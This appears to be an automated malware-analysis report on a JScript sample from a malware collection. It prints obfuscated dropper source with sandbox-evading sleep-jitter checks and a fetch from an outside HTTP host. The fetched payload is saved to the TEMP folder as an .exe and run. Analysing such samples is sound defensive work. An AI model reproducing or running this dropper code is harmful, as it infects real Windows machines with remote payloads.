Suspicious ^66% javascript-malware-collection Download

20160328_604657379900f22298667d99ce66ee2d.js

HTTP dropper downloads and executes payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-25678a86c9382d1810127ec7c856ba57f3e03f08f162c77ae9eaadc3969d15d2479

MaleculeK(Li)O₄(AlAs₄CXe)H₅(Cm₃Db₂FOs₂Po₄)

Evidence

UTC millisecond jitter sleep check lines 1–41

1var Gepzh = false;
2var Khjfuzomli = "CreateObject";
3var Jpvdjkuv = function Qbqgzj() {return WScript[Khjfuzomli]("WScript.Shell");}();
4var Jxxdtdz = 123213;
5var Ksumx = "MSXML2.XMLHTTP";
6var Kksceve = 2123213;
7var Xkwcee = 0;
8function Vsxzoch(Vxzfg){Jpvdjkuv["Run"](Vxzfg, Xkwcee, Xkwcee);};
9function Rbgwruqzzd(){return Ksumx;};
10function Tdpswzgeub(Zpdnj, Xggzbqc){return Zpdnj - Xggzbqc;};
11function Rjbglcrmo(){return Khjfuzomli;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Gepzh = true;
15  @end
16@*/
17var Lzqxbxwkg = "";
18if (Gepzh)
19{
20function Ggochtq(){return 22;};
21var Qlrneucavx = 0; var Aulzfnezih = 0;
22function Vgnxrwqhmv()
23{
24var Cdnyi = new this["Date"]();
25var Ycqpm = Cdnyi["getUTCMilliseconds"]();
26WScript["Sleep"](Ggochtq());
27var Cdnyi = new this["Date"]();
28var Zwjljnug = Cdnyi["getUTCMilliseconds"]();
29WScript["Sleep"](Ggochtq());
30var Cdnyi = new this["Date"]();
31var Qnpfj = Cdnyi["getUTCMilliseconds"]();
32var Qlrneucavx = "Fgplf";
33Qlrneucavx = Tdpswzgeub(Zwjljnug, Ycqpm);
34var Aulzfnezih = "Rpbykgxwp";
35Aulzfnezih = Tdpswzgeub(Qnpfj, Zwjljnug);
36Lzqxbxwkg = "open";
37return Tdpswzgeub(Qlrneucavx, Aulzfnezih);
38}
39var Ddgbrti = false;
40var Dqujx = false;
41for (var Utuwthpqol = Xkwcee; Utuwthpqol < Ggochtq() * 1; Utuwthpqol++){if (Vgnxrwqhmv() != Xkwcee){
 …

Contains a hardcoded insecure HTTP URL lines 49–75

49:5… Ddgbrti && Owggsydje() && Dqujx){
50function Souenvtea() {return Jpvdjkuv["ExpandEnvironmentStrings"]("%TEMP%/") + "y7sCv1Mub5jx5.exe";};
51 Paomcjd = Rbgwruqzzd();
52 Jxifg = WScript[Khjfuzomli](Paomcjd);
53 var Qdhsixw = 1;
54 while (Qdhsixw){
55try {
56Jxifg[Lzqxbxwkg]("GET", "http://teknosolar.com/xw3ika", false);
57Jxifg["send"]();
58Tktnogaef = "Sleep";
59do {WScript[Tktnogaef](Ggochtq() * 11)} while (Jxifg["readystate"] < 2 * 2);
60Qdhsixw = Xkwcee;
61} catch(Knfmqc){Qdhsixw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Qjcvtgiul(Sxytc) {var Tenlsheriz = (1, 2, 3, 4, 5, Sxytc); return Tenlsheriz;};
64Nkfnph = WScript[Rjbglcrmo()]("ADODB.Stream");
65Paomcjd = Nkfnph;
66Paomcjd[Lzqxbxwkg]();
67Paomcjd["type"] = Qjcvtgiul(1);
68Paomcjd["write"](Jxifg["ResponseBody"]);
69Nkfnph["position"] = Qjcvtgiul(Xkwcee);
70Paomcjd["Save" + "ToFile"](Souenvtea(), 2);
71Nkfnph["close"]();
72Vsxzoch(Souenvtea());
73}
74}
75